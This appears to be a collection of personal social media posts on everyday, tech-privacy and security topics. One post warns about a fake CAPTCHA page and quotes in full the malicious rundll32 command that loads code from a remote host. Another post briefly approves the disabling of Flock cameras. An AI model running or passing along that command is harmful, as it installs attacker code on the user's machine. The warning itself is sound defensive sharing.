Am I utterly losing my mind and all ability to use the internet, or is this in fact an amazing long form article style post about an anti AI commercial which apparently DOES NOT LINK TO THE AD THEY ANALYZE??

Again, maybe I am too old or just too tired tonight. But I have read through this MASSIVE post multiple times and nowhere in it can I simply click to view the ad as far as I can tell.

https://ketanjoshi.co/2026/11/02/microsoft-just-gave-us-the-perfect-name-for-ai-thieves-kyle/

Occasionally I post on the internet looking to hire an artist for a commissioned work. Today is such a day.

1. This is an old ad (allegedly, anyway, it pops up all over the internet but I have an incredibly high res scan of it)

2. I would like to change the bottle seen in that ad to a bottle bearing this label (and add the fleur embellishment and so forth, etc)

This is more than a mere photoshop job, which is something that I could do myself. I'm looking to of course match the overall antique look and feel of the original ad. So whether that's some digital painting or someone who's WAY into filtering and processing, we shall see.

Hit me up with your rates and turnaround time if you're interested.

Did you know that today is allegedly Black Cat Day? 🐈‍⬛

Whisper knows. And she's making the best of every single minute of it.

I love you very much, my creepy little princess. 🖤

Feels low-key unfair to have art like this which seems to be begging to be touched only to tell people that they shouldn't touch it.

I wanna touch the plushy-ness! 👉🛋️

These used to be Flock cameras.

They no longer are.

I appreciate whoever did this.

So this was an amusing development. Many of you enjoyed my recent video where I shared the "Trashing Our Rights" game involving handcuffs, a diskette, and a bin.

As you would have seen, the very start of my YouTube video involved a clip from the movie Hackers where a handcuffed Dade Murphy tosses a yellow floppy into a trash can before being put into an FBI cruiser and ultimately shouts "Hack the planet!" from the open rear window. Classic.

After uploading, I found my channel facing a copyright claim. But NOT for the reason you might think. 😏

No, it was not United Artists who hit me with a copyright claim. It was a music artist whom almost no one has ever heard of, Bassbasher, who put out a track simply called "Hacker" a few years ago...

https://www.youtube.com/watch?v=ljZ4i7h-aDg

... and then they (or, more likely, their record label's automated IP system) attempted to assert ownership of all material in their track. Including the clip from the film Hackers.

I submitted a dispute and (In a rare victory for sanity and reason) prevailed. Do we think that their record label, Believe Music, will face any repercussions? Probably not. But, hey, at least it feels good to stand up and actually win in a situation where odds are (usually) tilted well against the little guy. 👍

My Monday morning video for tomorrow is one that many people have been waiting a little while to see go up on YouTube...

https://youtu.be/WV-ftU0zxCo

...this is the famous Violet Wand workshop that I gave with @kiwi and Astraea at @CackalackyCon back in May.

Enjoy! 👍😁👍⚡

I hope this individual, wherever they are nowadays, is having a good Pride month. 🏳️‍🌈

(They would be 34 or 35 years old at this time. I wonder if they even know they were featured on the cover of Newsweek decades ago.) 👶

Time for my semi-annual statement:

Christ, I fuckin hate camping. So much. ⛺😆

Artist's rendition of what it's now like for visitors looking at https://blackhat.com/

(Apparently they just killed the "dark" theme that their web site has featured for the previous 30 years)

Well, now someone just called me from a government phone number. They asked if I was going to be picking up Kara today And I explained to them that I was already here.

They asked if I was the person arriving in a taxi.

I said that I was not... That I had a rental car and explained that I had a long history of correspondence which I had emailed back and forth with the unit manager detailing all of this plan.

They said they'd call me back. I've now been parked out here for over an hour. Good thing it's pleasant weather, at least.

I've been here for about an hour now. The instructions were to "Park at the curb and wait in my car."

There has been no process of checking in with anybody, however. No paperwork to sign.

A couple of COs wandering in the lot have told me to move which spot I'm in but that's about it.

Waiting for our girl 🤞

Who is holding their breath to see if they let her out at exactly 6:30 or if there's some dilly-dallying?

As mentioned in my video today on YouTube, I've been helping a new channel try to share some very old music that is quite special to me. It's been problem after problem with YouTube.

Have a look at this...

https://drive.google.com/file/d/1pj9RLatOjgvKUhPfdD0wMAWx1eJss_Ha/view?usp=drive_link

...and tell me why you think it's banned?

YouTube is flagging old Irish folk songs as being "support or recruitment" for "violent criminal organizations."

Yes, these songs are political — much of the Irish music I like is — but you can't join the IRA without a time machine, not to mention the songs that are getting banned aren't "Broad Black Brimmer" or "Men Behind the Wire" but things like the song at the above link... "Grace"

Have a look at the video at that Google drive link and tell me what you think?

For no reason in particular, this morning i am thinking of that old axiom: Live your life in such a way that no one ever says "Keep cancer in your thoughts during this difficult time" when talking about you.

Hello, internet. Here's a fun question for you all...

I often keep a super old tech, no features brick phone in my travel bag. It's a good backup and I can toss in a local SIM in many countries, etc.

This was the phone I had for years, dedicated to that purpose...

https://www.amazon.com/dp/B07MZDZ8QL

... however, it has sadly developed a crack in the screen and the display isn't really functional anymore. I'm thinking of replacing it, but I'd be interested in whether folk have opinions regarding the usefulness of ANY brick style phone anymore. Almost everything we do is on apps.

I might just start carrying one of my older Android phones (several of which sit in a drawer here) which, despite not being fast, at least still support Signal, Slack, Discord, etc. (not to mention they support device encryption, even if the Android OS is slightly outdated on a couple of them)

What do you all think?

(And if you DO like the brick phone idea still... are there any that are truly world phones that support all the modern bands?)

Guess what I learned today?

At exactly 7:24 in the morning, the sunlight this time of year is at an angle such that it streams across a chimney roof some distance away and casts this shadow on my window. 👤🪟

My third story window.

Please imagine the level at which my brain is (or is not) functioning at 7:24 in the morning. Then imagine my reaction.

Fortunately, this did NOT result in a load of buckshot being blasted through these mini blinds and in the general direction of a building 20 yards away. 😂

OK, internet. Time for me to admit something and then solicit your advice.

Admission: I have not purchased a TV in well over 20 years now. I haven't owned a TV for at least 15 years. 📺

While - yes - I have lived with folk way back in Philly who had one every so often, the last TV that I *purchased* was literally a CRT with a tube. Tarah and I didn't have a TV at all for the near-decade that we were married.

Your Advice: Is there a decent resource that you folk trust when it comes to evaluating privacy concerns about modern TVs? The only thing I know is that, if I acquire a new set, it'll be a "frame" TV (thin bezel, matte finish) since 99% of the time it will serve as art on the wall. I do not have any streaming subscriptions and would likely just play media from my Synology or watch YouTube.

Are modern smart TVs all universally horrible from a privacy perspective, like modern cars? Are any TVs decent about not phoning home out-of-the box? Are some frame TVs able to be modded for privacy or are some able to be wrangled into behaving if I block a lot of well-known stuff at my firewall?

Right now the only thing I have done is walk past the Samsung frame TVs at Costco and say, "Yeah, those seem nice. Sure."

If anyone wants to point me at a resource or list of the best vs the worst that are out there when it comes to finding one that isn't a 1984 Telescreen, I'd eagerly read said research.

Whoa, i think i've possibly found a candidate for "most horrifying reCAPTCHA process ever devised. 😮

Have any of you ever seen this before? Would ANY of you ever trust a web site to:

1. inject a long text string into your clipboard

2. ask you to open Command Prompt

3. then expect you to blindly paste this long string into your Command Prompt and simply RUN it 😨

Either this is the WORST user experience EVER for a commercial business web site or it's straight-up a hacked site that is trying to pwn other people.

If you're curious, this is the string it is asking users to paste and run in their command prompt...

rundll32.exe \\dynmeshex6.dax8sovel.in.net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1

Groan.

Clicking on URLs in my signal chats now launches some sort of weird google-based quick browser instead of my default installed Firefox app on my Android device.

Time to play everyone's favorite fun game: Who Fucking Changed What Fucking Thing

(I believe I updated Signal pretty recently and also I just pushed to Android 16 today. This version of Android apparently has something called "instant apps" relating to default links I think? Seems like yet another feature that no one asked for. Time to learn about whatever that is and try to figure out if that's what's breaking this.)

UPDATE: maybe this isn't the problem I think I'm having. It turns out that the person in my signal chat sent me a link using this service...

https://share.google/xxxxxxx

... which I've never really seen before but it appears to be some sort of oddball link handler which, at least on Android, routes around your default preferred web browser and instead launches a Google lite type quick view